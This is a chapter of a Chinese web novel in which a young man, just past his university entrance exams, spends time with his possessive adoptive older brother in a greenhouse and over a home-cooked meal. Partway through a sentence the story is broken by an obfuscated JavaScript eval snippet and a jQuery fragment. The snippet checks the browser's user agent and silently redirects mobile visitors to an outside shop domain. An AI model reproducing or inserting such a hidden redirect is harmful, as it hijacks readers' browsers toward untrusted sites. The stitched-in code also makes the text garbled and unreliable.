谢时眠无知无觉,还在向着他最亲近的兄长,分享着他最喜欢的爱好,眼神很亮,时不时地拉着盛烬的袖子往前走。

    盛烬原本还站在谢时眠的身后,后来手臂直接从谢时眠的身侧伸到前面去,虚虚地环着谢时眠的腰。

    “嗯,眠眠养的很好,这间玻璃花房是我见过最漂亮的。”

    得到了兄长肯定的谢时眠,难得露出十几岁少年的兴致勃勃,规划着未来:

    “这些小东西都很娇贵的,我这个暑假写份注意事项出来,这样的话等我去大学后,它们应该也能被照顾好吧?”

    “会的,眠眠养的植物,和你一样乖巧可爱。”盛烬哄着人,一下下地抚摸着谢时眠的背,感受着手下略带骨感的触感。

    他的下巴从后面搁在谢时眠的肩膀上,像是为了更好地听谢时眠说话一样。

    这个角度,盛烬可以很轻松地看见谢时眠的耳垂,小巧可爱,有微微的肉感,光滑细腻没有耳洞,随着谢时眠说话的动作而在盛烬的眼前轻轻摇晃。

    简直如同宴请八方的邀请。

    盛烬的目光已经浓重得如同最深的墨,完全听不进去谢时眠说的话,只有一搭没一搭地回应着,环着谢时眠的腰轻轻抚摸。

    “其实也并没有看上去那么无害啦,比如兔苔,它还会吃虫子呢,还有那边的气球花,看起来像灯笼一样饱满可爱,实际上表面布满小刺。”

    谢时眠对自己养的植物如数家珍。

    “不过,这些刺也并不会伤人,是软的,你瞧。”

    谢时眠伸手去碰气球花的表面,轻轻挤压,果然原本尖锐可怖的刺,很顺服地软了下去。

    “很有趣吧?”谢时眠笑了起来,对他来说,这可比应付盛家那些长辈有趣多了。

    说到兴致最高的时候,谢时眠回头想再去拉盛烬,转头的时候却不小心撞到盛烬的胸膛上,他这才发现盛烬已经离他这么近。

    谢时眠撞得有些疼,鼻尖一皱,眼眶瞬间浮起一层薄薄的水雾,眼尾泛红,睫毛根部挂上一滴水珠,将掉未掉。

    谢时眠轻轻“呜”了一声,抬眸看了兄长一眼,眼神中暗含一丝丝埋怨:“怎么突然离我这么近嘛。”

    “眠眠讲得太好,忍不住听。”盛烬的目光落到谢时眠的眼睛上,好一会儿才移开。

    这话一出,谢时眠又决定原谅哥哥。

    “好吧。”

    他伸手揉了揉自己的鼻尖,有点麻木,哥哥胸膛怎么那么硬。

    谢时眠忍不住悄悄比较起来,他自己的就是软的,好不公平,过段时间他也要去泡健身房!

    末了,谢时眠觉得挂在睫毛上的泪珠弄得他有点痒,他伸手想去揉,手腕却被人捉住。

    “别揉,当心有细菌。”

    盛烬手指扣在谢时眠的手腕上,被迫让他终止了自己的动作。

    “可是痒。”

    谢时眠没有动,但是眨了眨眼睛,他的眼睛总是很敏感,稍微受点什么刺激就容易红,看上去像是被欺负一样。

    “我帮你吹一下。”盛烬的声音有点哑,拇指在谢时眠的脸颊轻轻擦了一下。

    谢时眠迟疑着“哦”了一声。

    “抬起脸,眠眠。”

    谢时眠总感觉哪里有点奇怪。

    但还是乖乖听话。

    然后,谢时眠的下巴被盛烬用手抬住,脸微微仰起来,他的眼尾染着薄红,睫毛湿湿的,眼眶里含着一层雾蒙蒙的水光。

    谢时眠的眼睛被迫离盛烬更近,不经意间撞进兄长深沉的眼眸,让他控制不住地眼珠颤了一下,转到一边。

    “好、好了吗?”

    在谢时眠软绵绵的催促之下,盛烬这才微微低下头,对着谢时眠的眼睛轻轻吹了几下。

    一阵温热的气息拂过谢时眠的眼角,他下意识地闭上眼睛,睫毛不停地颤抖。

    “宝宝,睁眼。”

    盛烬的声音低哑深沉,如同命令的语气让谢时眠忍不住顺从,他轻轻“哦”了一声,尾音里面都带着颤意。

    又吹了几下,不知道是不是自己的错觉,谢时眠觉得眼睛好像是不那么难受了。

    “还难受吗?”盛烬低声开口询问,谢时眠甚至能哥哥呼吸的余温。

    好近,更奇怪了。

    谢时眠强撑着开口:“可、可以了,唔,真的不难受了。”

    不知道是不是因为玻璃花房密闭空间的缘故,谢时眠总觉得此刻的温度好热。

    哥哥离他太近了,但是兄弟之间,帮忙吹下眼睛,应该也算不得什么大事吧。

    但谢时眠的耳垂还是不受控制地红了,殷红的一小点,挂在脸颊旁边,与白皙的肌肤交相映衬。

    他有些慌乱,但强装镇定:“我去找花匠借个工具,我先走了。”

    不敢再去看盛烬的表情,谢时眠说完这句话,就抿紧嘴唇急匆匆地逃开。

    盛烬并没有阻拦谢时眠的离开,只是抬起刚才碰过谢时眠的那只手,食指和拇指碰到一起,捻了捻,似乎还能感觉到方才谢时眠的温度。

    眠眠很乖,但也太单纯,他不会着急,不能够吓到他。

    毕竟,他们还有充裕的时间。

    ————

    谢时眠跑出玻璃花房,当然不是真的去找花匠借工具,那只是一个借口,离开花房之后,谢时眠突然又觉得可以顺畅呼吸。

    难道是花房里空气交换系统没做好?

    谢时眠托着腮想着,暗自将花房大检查纳入了自己的日程之中。

    之后的几天,谢时眠在精心等待高考分数。

    尽管他对自己的成绩有信心,但依旧不可避免地会受到影响,做其他事情的时候,心里面总会惦记着成绩。

    谢时眠从小就属于好学生的类型,不会让家长操心,盛烬少有的去学校开家长会的场景,都是去听老师对他家弟弟的夸赞。

    谢时眠觉得,既然现在他和哥哥没有血缘关系,那么成绩也算是少有的能回报的东西了吧?

    唔,还能有什么呢?

    谢时眠咬着手指思考,要不?做顿饭?

    十八年来,他还没有下过厨呢,反正自己迟早是要搬出盛家独立生活,正好让哥哥看看,他还是能照顾好自己。

    真不错的主意!

    而且,他正巧还有些事情要问兄长。

    盛烬的工作很忙,一般只要谢时眠不出门的话,不会管他在家里面怎么折腾。

    因而,谢时眠趁兄长不在,悄悄跑去找王姨教他做一道菜,还拜托王姨帮他保密,说是要给盛烬一个惊喜。

    王姨架不住谢时眠双手合十,眨巴着眼睛,拜托拜托地求着她,只好摇着头答应。

    谢时眠偷偷练习了好几天,看着自己的作品,非常满意,这和在花房里面插花的难度差别也不大嘛。

    于是自告奋勇地表示由他亲自来摆盘。

    等盛烬晚上回家,看见端坐在餐桌旁的谢时眠,居然问:“眠眠今天这么早?”

    谢时眠轻轻咳了一声,他平日里吃饭绝对没有迟到很多次哦。

    “今天有虫草花胶炖鸡哦,王姨说夏天最适合吃这个,要不要试试?”

    盛烬的目

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878132|212422||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    光顺着谢时眠手指的方向看过去,果然看到餐桌上特别惹眼的那道菜。

    不是因为做的太好,而是嗯......

    “是眠眠亲自做的?”盛烬一开口就是大实话。

    谢时眠歪了下头,有这么明显?

    但还是摆手,笑的很乖:“不是哦,是王姨做的,嗯对。”

    “眠眠今天有事跟哥哥说?”

    盛烬平静地瞥了一眼谢时眠,只当做没看见他的小动作。

    说着话的时候,盛烬率先舀了一碗汤,忽略掉大小不一的花胶,硬邦邦的鸡肉,各自漂浮着的稀疏虫草花,和被当作点缀的枸杞以外,品相还是不错的。

    “没有啦。”

    盛烬又瞥了谢时眠一眼,没说话,用勺子喝了一勺汤。

    “好喝吗好喝吗?”

    谢时眠的眼神亮晶晶的,看着盛烬,想要听到哥哥肯定的评价,这可是他首次下厨的大作。

    盛烬过了好一会儿,才喉结一动吞咽下去,然后面不改色地说:“好喝,眠眠真厉害。”

    谢时眠很喜欢听见别人的夸赞,闻言露出笑容但很快将嘴角压平,抿了下唇,恢复正色:

    “那我可以再问一句吗,嗯、唔,有没有我亲生父母的消息呀?”

    谢时眠梦中的记忆太过模糊且碎片化,只大约记得他的亲生父母在后期出场过,但具体细节是一点都记不起来,现在能问的,就只有盛烬。

    “怎么突然想起来问这个?”

    谢时眠拿着勺子无意识地在碗里搅着,声音有些低:“他们是我的亲生父母,但是十几年间也没有见过,不知道会不会怪我。”

    盛烬没有着急回答,看着谢时眠,眼底晦涩不明。

    毫无养育之情的所谓父母,都能让眠眠这么上心?甚至为了他们来求自己?

    血缘关系,呵,不过是累赘而已。

    但盛烬没有将这些话说出口,只是把碗放下,碗底磕在桌面上,发出一声不轻的响声。

    “当年的事情,我派人去事发的医院查了,但很可惜,那时候档案管理系统混乱,监控也并不发达,并没有查到你父母真实的信息。”

    随着盛烬的话语,谢时眠本来亮晶晶期待的眼神渐渐暗了下来。

    哥哥在他的心里无所不能,连哥哥都查不到吗?

    谢时眠后知后觉地张嘴,语气喃喃地:“啊,这样。”

    “找回来的那个孩子,他只记得自己的姓氏,档案登记的是父母不明,前段时间我专门去问过,很遗憾,据他所说,似乎已经不在了。”

    谢时眠的呼吸霎时间停了一下,他有些慌乱地低下头看着自己捧着的碗,枸杞飘在汤面上,无依无靠地随波逐流着。

    骤然间,自己不仅不是养父母的孩子,亲生父母可能也早已离世。

    谢时眠说不清自己是什么感觉,他的心里空落落的,按理来说他应该流泪,但是眼眶又酸涩又疼,哭不出来。

    盛烬看着谢时眠低头沉默的模样,伸手来回抚摸着他的背,语气里带着安慰的意味:

    “虽说如此,但至少知道他们是外地人,而且当时没有联网,也许只是消息不灵通,我会继续帮你再查,眠眠放心。”

    谢时眠沉默了好久才轻轻“嗯”了一声,父母的事情,只能慢慢来。

    从前他的亲人只剩哥哥一个,或许往后也一样。

    不管结果如何,谢时眠觉得,自己现在应该为盛烬的帮忙道谢。

    于是他回过头,认真地说:“这次的事情谢谢你,先生。”

    ——先生?